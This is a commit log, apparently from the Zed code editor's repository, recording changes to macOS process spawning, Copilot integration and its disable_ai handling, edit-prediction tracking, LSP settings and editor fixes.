2026-02-25 05:49:14 +00:00
Jakub Konka
16dfc60ad2
util: Always use posix_spawn on macOS even with pre_exec hooks (#49090)
Here's some backstory:
* on macOS, @cole-miller and I noticed that since roughly Oct 2025, due
to some changes to latest macOS Tahoe, for any spawned child process we
needed to reset Mach exception ports
(https://github.com/zed-industries/zed/issues/36754 +
6e8f2d2ebe)
* the changes in that PR achieve that via `pre_exec` hook on
`std::process::Command` which then abandons `posix_spawn` syscall for
`fork` + `execve` dance on macOS (we tracked it down in Rust's std
implementation)
* as it turns out, `fork` + `execve` is pretty expensive on macOS
(apparently way more so than on other OSes like Linux) and `fork` takes
a process-wide lock on the allocator which is bad
* however, since we wanna reset exception ports on the child, the only
official way supported by Rust's std is to use `pre_exec` hook
* posix_spawn on macOS exposes this tho via a macOS specific extension
to that syscall `posix_spawnattr_setexceptionports_np` but there is no
way to use that via any standard interfaces in `std::process::Command`
* thus, it seemed like a good idea to instead create our own custom
Command wrapper that on non-macOS hosts is a zero-cost wrapper of
`smol::process::Command`, while on macOS we reimplement the minimum to
achieve `smol::process::Command`  with `posix_spawn` under-the-hood

Notably, this changeset improves git-blame in very large repos
significantly.

Release Notes:

- Fixed performance spawning child processes on macOS by always forcing
`posix_spawn` no matter what.

---------

Co-authored-by: Cole Miller <cole@zed.dev>
2026-02-13 20:16:11 +01:00
Oliver Azevedo Barnes
964818733c
copilot: Fix Copilot not respecting disable_ai setting (#48495)
Closes #48274

Previously, the Copilot language server would continue running even when
`disable_ai: true` was set in settings. This change ensures Copilot
properly responds to the `disable_ai` setting:

- Add `disable_ai` check in `start_copilot()` to prevent starting when
AI is disabled
- Modify the `SettingsStore` observer to shut down the running language
server when `disable_ai` changes from false to true
- Add tests for all scenarios:
  - Copilot doesn't start when `disable_ai` is true
  - Copilot stops when `disable_ai` becomes true
  - Copilot can start again when `disable_ai` becomes false

Release Notes:

- Fixed Copilot starting when disabled_ai: true
2026-02-11 18:19:41 +01:00
Bertie690
db53a65ab6
Add configurable LSP timeout setting (#44745)
Fixes #36818

Release Notes:

- Added new `global_lsp_settings.request_timeout` setting to configure
the maximum timeout duration for LSP-related operations.

Code inspired by [prior
implementation](https://github.com/zed-industries/zed/pull/38443),
though with a few tweaks here & there (like using `serde:default` and
keeping the pre-defined constant in the LSP file).

---------

Co-authored-by: Kirill Bulatov <mail4score@gmail.com>
Co-authored-by: Kirill Bulatov <kirill@zed.dev>
2026-02-07 00:36:37 +00:00
Ben Kunkle
4cb85917c5
Differentiate between explicit rejection and ignored in ep acceptance tracking (#48409)
Closes #ISSUE

Release Notes:

- N/A *or* Added/Fixed/Improved ...
2026-02-04 17:54:11 -05:00
Kenan Hasanaliyev
e39c1906e1
edit_prediction: Add Mercury accept/reject tracking (#48306)
### Summary
Adds accept/reject tracking for Mercury edit predictions.

### Changes
Sends events to https://api-feedback.inceptionlabs.ai/feedback when:

Accept — user presses Tab
Reject — user presses Escape
Ignore — prediction dismissed implicitly (typing, cursor move, etc.)

Added `discard_explicit` method to the delegate trait to distinguish
explicit vs implicit dismissal. Updated `reject_prediction` and
`reject_current_prediction` methods with an `explicit` bool parameter to
thread this through to the Mercury feedback logic. Other providers are
unaffected—they use the default implementation.

Feedback is fire-and-forget in a background thread, only sent for
predictions that were shown.

### Data Collected
- Request ID (returned from Inception API)
- User action (either accept/reject/ignore)
- Client Zed version (to track updates made to Zed client which could
potentially affect nextedit implementation)


Release Notes:

- N/A

---------

Co-authored-by: Ben Kunkle <ben@zed.dev>
2026-02-04 16:19:33 -05:00
Lukas Wirth
5d2feaa144
editor: Implement semantic highlighting (#46356)
Part of #7450

Big thanks to @macmv for pushing this forwards so much!

Rebased version of https://github.com/zed-industries/zed/pull/39539 as
working on an in-org branch simplifies a lot of things for us)

Release Notes:

- Added LSP semantic tokens highlighting support

---------

Co-authored-by: Neil Macneale V <neil.macneale.v@gmail.com>
Co-authored-by: Kirill Bulatov <kirill@zed.dev>
Co-authored-by: Zed Zippy <234243425+zed-zippy[bot]@users.noreply.github.com>
2026-02-04 17:37:13 +00:00
Piotr Osiewicz
9867f16c77
edit prediction: Drop project state after a project goes away (#48191)
Closes #48097

Release Notes:

- Fixed Copilot instances not being cleared up after their window is
closed.
- Copilot edit prediction provider now respects `disable_ai` setting.
2026-02-02 19:47:44 +01:00
versecafe
9c3ae09896
Improve icon selection for edit prediction providers (#47911)
Release Notes:

- N/A

---------

Co-authored-by: Danilo Leal <daniloleal09@gmail.com>
2026-02-02 10:00:35 -03:00
Max Brunsfeld
b642565526
Allow zeta2 to predict next cursor position along with edits (#47916)
* [x] capture and store teacher model's predicted cursor position
* [x] provide cursor position to student during distillation
* [x] eval cursor positions
* [x] parse and apply cursor position predictions at runtime

Release Notes:

- N/A
2026-01-31 16:16:32 +00:00
Piotr Osiewicz
b1fd95b4f9
copilot: Fix references to uninitialized CopilotAuth global (#47954)
Closes: #46593 #32635 #47924

Co-authored-by: Anthony Eid <hello@anthonyeid.me>
Co-authored-by: Cole Miller <cole@zed.dev>

Release Notes:

- Fixed issues with signing into Copilot via the Settings UI

---------

Co-authored-by: Anthony Eid <hello@anthonyeid.me>
Co-authored-by: Cole Miller <cole@zed.dev>
Co-authored-by: Zed Zippy <234243425+zed-zippy[bot]@users.noreply.github.com>
Co-authored-by: Anthony Eid <anthony@zed.dev>
2026-01-29 15:47:04 -05:00
Piotr Osiewicz
7c98f1732e
copilot: Decouple authentication from the lifetime of any single Copilot instance (#47473)
Users had trouble signing in due to us relying on the Copilot::global
being set, which was never the case. We've decided to use a dedicated
LSP instance just for handling auth of Copilot Chat and other goodies.
That instance is subscribed to by local Copilot instances for projects.
When the Auth instance changes it's state, local instances are prompted
to re-check their own sign in status.

Closes #47352

Co-authored-by: dino <dinojoaocosta@gmail.com>

Release Notes:

- Fixed authentication issues with Copilot.

---------

Co-authored-by: dino <dinojoaocosta@gmail.com>
Co-authored-by: Zed Zippy <234243425+zed-zippy[bot]@users.noreply.github.com>
2026-01-23 17:20:16 +01:00
Piotr Osiewicz
ff513cb14d
copilot: Rename enabled_next_edit_suggestions setting to enable_next_edit_suggestions (#47484)
Co-authored-by: Marshall Bowers <marshall@zed.dev>

Closes #ISSUE

Release Notes:

- N/A

Co-authored-by: Marshall Bowers <marshall@zed.dev>
2026-01-23 16:02:48 +00:00
André Eriksson
9db716123d
copilot: Add the option to disable Next Edit Suggestions (#47438)
Adds a new setting to GitHub Copilot to toggle the Next Edit Suggestions
feature, it is enabled by default.

## Motivations
Due to some current usability issues with this feature, see #46880, and
some personal anecdotes of using it, it is currently rough to utilize,
so this gives the option to disable it.

## Related
- #47071 
- #30124
- #44486
## Release Notes
- Adds the ability to disable GitHub Copilot's Next Edit Suggestions
feature.
## User Interface

![image](https://github.com/user-attachments/assets/5a3d7166-68dd-4f5b-a220-0a9bd9282cd5)
## Text Example
The text example will be adding a `z` variable to a `Point3D` class in
TypeScript.
### With Next Edit Suggestions
In this example I am able to just press auto-complete (press TAB) 3x.
```ts
class Point3D {
    x: number;
    y: number;
    z: number; // <-- Cursor before z: suggested

    constructor(x: number, 
                y: number
                , z: number // <-- Next Suggestion
                ) { 
        this.x = x;
        this.y = y;
        this.z = z; // <-- Last Suggestion
    }
}
```
### Without Next Edit Suggestions
```ts
class Point3D {
    x: number;
    y: number;
    z: number; // <-- Cursor before z: the only suggestion

    constructor(x: number, y: number) {
        this.x = x;
        this.y = y;
    }
}
```
2026-01-23 15:57:38 +01:00
Hieu Pham
4a2d1e3747
Fix delay in Copilot completion (#46885)
This PR fixes an issue when copilot takes 3s to complete. Right now, in
copilot edit prediction, we issue requests to both the Next Edit
Suggestion (NES) and the regular copilot inline completion endpoints.
Whichever come back first will be shown. However, there is a bug where
even if inline completion (which is usually much faster) comes back, we
still wait for NES (which takes about 3s).

This should address https://github.com/zed-industries/zed/issues/46389
and https://github.com/zed-industries/zed/issues/46880

Release notes:
- Improved responsiveness of Copilot inline completions.
2026-01-15 13:22:03 +01:00
Piotr Osiewicz
ca23fa7c7c
copilot: Un-globalify copilot + handle it more directly with EditPredictionStore (#46618)
- **copilot: Fix double lease panic when signing out**
- **Extract copilot_chat into a separate crate**
- **Do not use re-exports from copilot**
- **Use new SignIn API**
- **Extract copilot_ui out of copilot**

Closes #7501

Release Notes:

- Fixed Copilot providing suggestions from different Zed windows.
- Copilot edit predictions now support jumping to unresolved
diagnostics.
2026-01-14 14:44:13 +00:00
Piotr Osiewicz
0eeb743904
copilot: Fix double lease panic when signing out (#46619)
Extracted out of #46618 as I wanna fast-track it to Preview.

Release Notes:

- Fixed a crash that occured when signing out of Copilot.
2026-01-12 14:09:16 +00:00
Mikayla Maki
97c35c084b
gpui: Actually remove the Result from AsyncApp (#45809)
Depends on: https://github.com/zed-industries/zed/pull/45768

Refactor plan:
https://gist.github.com/mikayla-maki/6c4bf263fd80050715ba01f45478796e
Overall plan:
https://gist.github.com/mikayla-maki/7bb5078e4385a2e683e1e1eb40d17d38

This is the big one.

Release Notes:

- N/A

---------

Co-authored-by: Claude Opus 4.5 <noreply@anthropic.com>
2026-01-07 12:48:24 -08:00
Vadim Suharnikov
5505e63a0d
copilot: Fix panic in Copilot edit prediction due to anchor/snapshot mismatch (#46022)
When `trim_completion()` creates new anchors from the current buffer
state, `completion.snapshot` was not being updated, leaving it with the
older snapshot from when the prediction was initially fetched. This
caused a panic in `interpolate_edits()` when trying to resolve anchors
with Lamport timestamps newer than what the old snapshot had observed.

The fix ensures that `completion.snapshot` is updated whenever new
anchors are created in `trim_completion()`, keeping the snapshot and
anchors consistent.

Closes #45956

Release Notes:

- Fixed a panic in Copilot edit predictions caused by anchor/snapshot
version mismatch
2026-01-04 15:12:53 +01:00
Piotr Osiewicz
9ad059d3be
copilot: Add support for Next Edit Suggestion (#44486)
This PR introduces support for Next Edit Suggestions while doing away
with calling legacy endpoints. In the process we've also removed support
for cycling completions, as NES will give us a single prediction, for
the most part.

Closes #30124

Release Notes:

- Zed now supports Copilot's [Next Edit
Suggestions](https://code.visualstudio.com/blogs/2025/02/12/next-edit-suggestions).
2025-12-17 21:43:42 +01:00
Xipeng Jin
f084e20c56
Fix stale pending keybinding indicators on focus change (#44678)
Closes #ISSUE

Problem:

- The status bar’s pending keystroke indicator (shown next to --NORMAL--
in Vim mode) didn’t clear when focus moved to another context, e.g.
hitting g in the editor then clicking the Git panel. The keymap state
correctly canceled the prefix, but observers that render the indicator
never received a “pending input changed” notification, so the UI kept
showing stale prefixes until a new keystroke occurred.

Fix:

- The change introduces a `pending_input_changed_queued` flag and a new
helper `notify_pending_input_if_needed` which will flushes the queued
notification as soon as we have an App context. The
`pending_input_changed` now resets the flag after notifying subscribers.

Before:


https://github.com/user-attachments/assets/7bec4c34-acbf-42bd-b0d1-88df5ff099aa

After:



https://github.com/user-attachments/assets/2264dc93-3405-4d63-ad8f-50ada6733ae7



Release Notes:

- Fixed: pending keybinding prefixes on the status bar now clear
immediately when focus moves to another panel or UI context.

---------

Co-authored-by: Nathan Sobo <nathan@zed.dev>
Co-authored-by: Conrad Irwin <conrad.irwin@gmail.com>
2025-12-17 16:51:16 +00:00
tidely
c0b3422941
node_runtime: Use semver::Version to represent package versions (#44342)
Closes #ISSUE

This PR is rather a nice to have change than anything critical, so
review priority should remain low.

Switch to using `semver::Version` for representing node binary and npm
package versions. This is in an effort to root out implicit behavior and
improve type safety when interacting with the `node_runtime` crate by
catching invalid versions where they appear. Currently Zed may
implicitly assume the current version is correct, or always install the
newest version when a invalid version is passed. `semver::Version` also
doesn't require the heap, which is probably more of a fun fact than
anything useful.

`npm_install_packages` still takes versions as a `&str`, because
`latest` can be used to fetch the latest version on npm. This could
likely be made into an enum as well, but would make the PR even larger.

I tested changes with some node based language servers and external
agents, which all worked fine. It would be nice to have some e2e tests
for node. To be safe I'd put it on nightly after a Wednesday release.

Release Notes:

- N/A *or* Added/Fixed/Improved ...
2025-12-17 12:27:06 +01:00
Moritz Bitsch
9ec147db67
Update Copilot sign-up URL based on verification domain (#44085)
Use the url crate to extract the domain from the verification URI and
construct the appropriate Copilot sign-up URL for GitHub or GitHub
Enterprise.

Release Notes:

- Improved github enterprise (ghe) copilot sign in
2025-12-16 09:48:20 +00:00
teleoflexuous
d4f965724c
editor: Accept next line prediction (#44411)
Closes  [#20574](https://github.com/zed-industries/zed/issues/20574)

Release Notes:

- Replaced editor action editor::AcceptPartialEditPrediction with
editor::AcceptNextLineEditPrediction and
editor::AcceptNextWordEditPrediction

Tested manually on windows, attaching screen cap.
https://github.com/user-attachments/assets/fea04499-fd16-4b7d-a6aa-3661bb85cf4f

Updated existing test for accepting word prediction in copilot - it is
already marked as flaky, not sure what to do about it and I'm not really
confident creating new one without a working example.

Added migration of keymaps and new defaults for windows, linux, macos in
defaults and in cursor.

This should alleviate
[#21645](https://github.com/zed-industries/zed/issues/21645)
I used some work done in stale PR
https://github.com/zed-industries/zed/pull/25274, hopefully this one
makes it through!

---------

Co-authored-by: Agus Zubiaga <agus@zed.dev>
2025-12-15 18:28:59 +00:00
Danilo Leal
0283bfb049
Enable configuring edit prediction providers through the settings UI (#44505)
- Edit prediction providers can now be configured through the settings
UI
- Cleaned up the status bar menu to only show _configured_ providers
- Added to the status bar icon button tooltip the name of the active
provider
- Only display the data collection functionality under "Privacy" for the
Zed models
- Moved the Codestral edit prediction provider out of the Mistral
section in the agent panel into the settings UI
- Refined and improved UI and states for configuring GitHub Copilot as
both an agent and edit prediction provider

#### Todos before merge:

- [x] UI: Unify with settings UI style and tidy it all up
- [x] Unify Copilot modal `impl`s to use separate window
- [x] Remove stop light icons from GitHub modal
- [x] Make dismiss events work on GitHub modal
- [ ] Investigate workarounds to tell if Copilot authenticated even when
LSP not running


Release Notes:

- settings_ui: Added a section for configuring edit prediction providers
under AI > Edit Predictions, including Codestral and GitHub Copilot.
Once you've updated you can use the following link to open it:
zed://settings/edit_predictions.providers

---------

Co-authored-by: Ben Kunkle <ben@zed.dev>
2025-12-13 11:06:30 -05:00
Kirill Bulatov
1afe29422b
Move servers back from the background thread (#44696)
Partial revert of https://github.com/zed-industries/zed/pull/44631

With this and `sccache` enabled, I get 
<img width="3456" height="1096" alt="image"
src="https://github.com/user-attachments/assets/937760fb-8b53-49f8-ae63-4df1d31b292b"
/>

and r-a infinitely hangs waiting on this.

Release Notes:

- N/A
2025-12-12 11:16:17 +00:00
Lukas Wirth
5a6198cc39
language: Spawn language servers on background threads (#44631)
Closes https://github.com/zed-industries/zed/issues/39056

Leverages a new `await_on_background` API that spawns the future on the
background but blocks the current task, allowing to borrow from the
surrounding scope.

Release Notes:

- N/A *or* Added/Fixed/Improved ...
2025-12-11 17:23:27 +00:00
Piotr Osiewicz
3180f44477
lsp: Do not drop lsp buffer handle from editor when a language change leads to buffer having a legit language (#44469)
Fixes a bug that led to us unnecessarily restarting a language server
when we were looking at a single file of a given language.

Release Notes:

- Fixed a bug that led to Zed sometimes starting an excessive amount of
language servers
2025-12-09 21:37:39 +01:00
Max Brunsfeld
42583c1141
Reorganize edit prediction code and remove old experiments (#44187)
Release Notes:

- N/A

---------

Co-authored-by: Agus Zubiaga <agus@zed.dev>
Co-authored-by: Ben Kunkle <ben@zed.dev>
2025-12-04 15:56:57 -08:00
Richard Feldman
8a992703a7
Add Gemini 3 support to Copilot (#43096)
Closes #43024

Release Notes:

- Add support for Gemini 3 to Copilot
2025-11-25 12:15:55 -05:00
Richard Feldman
6631d8be4e
Fix Gemini 3 on OpenRouter (#43416)
Release Notes:

- Gemini 3 now works on OpenRouter in the Agent Panel
2025-11-24 13:24:26 -05:00
Agus Zubiaga
4fb671f4eb
zeta2: Predict at next diagnostic location (#43257)
When no predictions are available for the current buffer, we will now
attempt to predict at the closest diagnostic from the cursor location
that wasn't included in the last prediction request. This enables a
commonly desired kind of far-away jump without requiring explicit model
support.

Release Notes:

- N/A
2025-11-21 16:39:08 +00:00
Lukas Wirth
c98b2d6944
multi_buffer: Typed MultiBufferOffset (#42707)
This PR introduces a new `MultiBufferOffset` new type wrapping size. The
goal of this is to make it clear at the type level when we are
interacting with offsets of a multi buffer versus offsets of a language
/ text buffer. This improves readability of things quite a bit by making
it clear what kind of offsets one is working with while also reducing
accidental bugs by using the wrong kin of offset for the wrong API.

This PR also uncovered two minor bugs due to that.

Does not yet introduce the MultiBufferPoint equivalent, that is for a
follow up PR.

Release Notes:

- N/A *or* Added/Fixed/Improved ...
2025-11-19 22:00:58 +00:00
Mikayla Maki
5f8226457e
Automate settings registration (#42238)
Release Notes:

- N/A

---------

Co-authored-by: Nia <nia@zed.dev>
2025-11-07 22:27:14 +00:00